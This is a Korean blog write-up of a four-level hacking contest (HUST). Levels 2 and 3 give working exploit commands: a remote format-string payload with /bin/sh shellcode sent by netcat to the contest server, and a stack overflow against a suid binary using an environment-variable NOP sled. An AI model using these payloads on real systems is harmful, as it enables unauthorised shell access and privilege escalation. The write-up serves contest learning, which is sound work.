반응형
안녕하세요? beist 입니다. 제 3 회 HUST 해킹 대회 보고서입니다. - Level1 통과 level1.exe 를 실행하면 플래쉬로 된 이상한 바이러스 화면 같은 것이 실행됩니다. 그리고 첨부된 port scanner 도 같이 실행이 되고, 몇가지 text 파일을 만듭니다. 아마도 이 것은 참가자의 눈속임을 위해서 만들어지는 것 같습니다. level1.exe 에 port scanner 가 실행되는 것을 보고, port scan 과 관련이 되어있는 줄 알았는데 대회 홈페이지에는 특별히 비정상적인 포트가 없는 것 같았습니다. 그리고, 로컬 PC 에 bind 하는 port 등이 없는 것으로 보아 level1.exe binary 를 분석하는 것이 문제의 의도일거라고 판단하였습니다. hex editor 로 (저는 ultra editor 를 사용하였습니다.) exe 파일을 열면 데이터를 볼 수 있습니다. 저는 직감적으로 먼저 pass 와 관련된 string 을 검색하기 시작했는데, pass 와 관련된 데이터가 3 개가 보이더군요. passwd=10125 passwd=65536 passwd=ejgkrl ejgkrl 는 '더하기' 의 영타입니다. 왠지 위의 정수 두개를 합하라는 이야기 같더군요. 두개를 더하면 75661 인데 이 것으로 인증을 시도하면 레벨 통과가 됩니다. - level2 통과 remote 포맷 스트링 문제입니다. 레벨2 서버를 포트 스캔해보니까 980 포트가 열려있 었습니다. 접속을 해서 여러 가지 명령을 내려보면 dump 화면을 보여줍니다. %x 와 같은 포맷 스트링을 입력하니까 주소 값등을 출력하는 것을 볼 수 있었고 format string 문제 라고 생각 했습니다. level2 는 기본적인 formatstring 문제로 공격 구성은 다음과 같이 하면 됩니다. [덮어씌울주소1] - [Dummy] - [덮어씌울주소2] - [%8x%8x] - [integer] - [%n format] - [integer] - [%n format] - [shellcode] 덮어씌울주소1, 2 는 return address 가 담긴 위치입니다. 공격 코드의 맨 마지막에 shellcode 를 첨부하였는데, shellcode 가 놓인 위치는 dump 화면을 보면서 알 수 있습니다. dump 화면에 놓인 shellcode 의 위치를 계산하여 return address 를 덮어 씌우면 level2 의 shell 을 딸 수 있습니다. 공격 코드는 아래와 같습니다. 접속하는 시스템에 따라 오프셋이 다를수도 있습니다. (perl -e 'print "\xec\xfd\xff\xbfAAAA\xee\xfd\xff\xbf", "%8x"x2, "%64936d%n%49723d%n\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"';cat)| nc 203.249.94.33 980 - level3 통과 level3 은 일반적인 overflow 문제입니다. 문제는 바이너리로만 제공되는데 그 소스를 보면 다음과 같습니다. #include <stdio.h> int main(int argc, char *argv[]) { char buf[8]; strcpy(buf, argv[1]); printf(buf); } 개인적으로 level2 보다 쉽다고 생각합니다. level3 문제는 level3pw 권한으로 suid 가 붙어있기 때문에 overflow 공격이 성공한다면 참가자는 level3pw 권한을 얻을 수 있습니다. 환경 변수에 Shellcode 를 올려놓고 argv[1] 에 다시 이 환경 변수를 가리키는 방법으로 공격을 하겠습니다. 사용하는 쉘코드 : \x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80 [beist@ [beist@beist hust]$ export BEIST=`perl -e 'print "\x90"x1000, "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"'` [beist@beist hust]$ ./level3 `perl -e 'print "\xfa\xf9\xff\xbf"x4'` sh-2.05b$ 여기서 쉘코드의 앞에 set*uid(level3pw) 와 같은 기능을 하는 코드를 추가시켜야 합니다. 해킹 대회 당시의 자료가 없어서 level3pw 의 uid 를 확인하지 못하여 여기에는 넣지 못했습니다. - level4 통과 level4 는 udp 관련 문제입니다. 레벨 4 서버에는 1337 port 에 udp 포트가 열려있습니다. 이 프로그램 데몬의 이름은 udpserv 입니다. client 가 udpserv 로 데이터를 전송하고, 다시 수신할 때는 31337 port 로 받아야 합니다. 즉, client 에서 udpserv 로 연결을 할 때 port bind 를 31337 로 해주고 연결을 해야한다는 이야기입니다. level4 udpserv port - 1337 client port - 31337 이런 상태로 통신을 해야합니다. client 의 port 를 31337 로 맞추는 것은 어렵지 않습니다. nc 를 이용하면 쉽게 가능합니다. nc 에서 -p 옵션은 local port 를 임의로 지정해서 연결 시켜주는 기능이 있습니다. level4 의 힌트로 주어진 커맨드를 보면 GET 과 AUTH 가 있습니다. GET 커맨드를 다음과 같이 이용하여 연결하면, printf "GET"|nc -u level4서버 -p 31337 level4 의 암호화된 암호가 오게 됩니다. 이 때 client 에게 오는 데이터는 nc 의 -o 옵션을 주어 dump 를 하거나 하면 볼 수 있습니다. 또는 network sniffing 을 통해 볼 수도 있습니다. ex) tcpdump 를 이용한 packet capture 02:13:58.961288 211-255-9-215.rev.krline.net.31337 > 203.249.94.26.1337: udp 3 (DF) 0x0000 4500 001f 868a 4000 4011 ac59 d3ff 09d7 E.....@.@..Y.... 0x0010 cbf9 5e1a 7a69 0539 000b dd05 4745 54 ..^.zi.9....GET 02:13:58.972455 203.249.94.26.32772 > 211-255-9-215.rev.krline.net.31337: udp 32 (DF) 0x0000 4500 003c 0000 4000 2f11 43c7 cbf9 5e1a E..<..@./.C...^. 0x0010 d3ff 09d7 8004 7a69 0028 36d7 c236 6117 ......zi.(6..6a. 0x0020 6fdb be36 629c fc01 547a 9e2b 997c c731 o..6b...Tz.+.|.1 0x0030 61f5 6f38 abde 05a7 285d 180b 수신된 udp 의 data 부분은 32 바이트입니다. 전체 수신된 크기가 60 바이트인 것으로 보아 앞의 28 바이트는 udp 의 header 관련 데이터입니다. 즉 c236....180b 까지가 암호화된 암호 입니다. 이 암호화된 암호는 SEED 방식을 이용하여 암호화되었습니다. SEED 암호는 key 값이 필요한데 level4 에서는 힌트로 이 key 값과, 암호화된 SEED 방식을 참가자에게 알려주고 있습니다. 참가자는 이 key 값을 이용하여 다시 복호화시키면 됩니다. 암호화된 SEED 방식은 OFBPAD 입니다. 힌트로 주어진 key 값입니다. 12 34 56 78 9A BC DE F0 01 23 45 67 89 AB CD EF 10 DC 98 BA 76 54 32 FE 10 DC 98 BA 76 54 32 FE 이 key 를 이용하여 복호화를 할 수 있습니다. 복호화는 어렵지 않습니다. 암호화/복호화를 테스트 할 수 있는 SEED 관련 툴을 받아서 하면 쉽게 할 수 있습니다. (http://beist.org/seed.zip 에 프로그램을 올려놓았습니다. 바이러스 체크하시고 실행하세요. 실행 법은 readme.txt 를 참고하세요.) key.dat 파일에 key 값을 넣으시고 OFBPAD 방식으로 암호화된 암호를 복호화하시면 됩니다. 여기서 암호화된 암호는 c236 6117 6fdb be36 629c fc01 547a 9e2b 997c c731 61f5 6f38 abde 05a7 285d 180b 입니다. 이 것을 복호화하여 암호를 풀어내면 9bab258d3dfe4422b3e092aae75b6dac 이 값이 나오게 됩니다. 이 값을 AUTH/참가자SERIAL/9bab258d3dfe4422b3e092aae75b6dac (AUTH 참가자SERIAL 9bab258d3dfe4422b3e092aae75b6dac 일수도 있습니다. 백업을 안해놔서..) 와 같은 형식으로 udp 1337 로 보내면 다시 어떤 데이터가 수신이 됩니다. 그 데이터 역시 OFBPAD 방식으로 암호화된 level4 의 암호입니다. 위와 같은 방식으로 복호화를 하면 level4 의 패스워드를 볼 수 있고, 그 패스워드를 이용하여 level4 로그인을 하면 index 페이지를 바꿀 수 있습니다. (제가 이 부분에 대해서는 백업을 하지 못했기 때문에 자료를 첨부하지 못했으나 위의 과정과 거의 동일합니다.) 그럼 이만 보고서를 마치겠습니다.
'Security' 카테고리의 다른 글
대덕대 해킹대회 보고서 (0) | 2007.03.31 |
---|---|
제 3회 순천향대학교 정보보호 페스티벌 보고서 (0) | 2007.03.31 |
AHF 2005 보고서 (0) | 2007.03.31 |
JSP 웹해킹 (1) | 2007.03.31 |
JSP 기반의 Web hacking 방법 (2) | 2007.03.31 |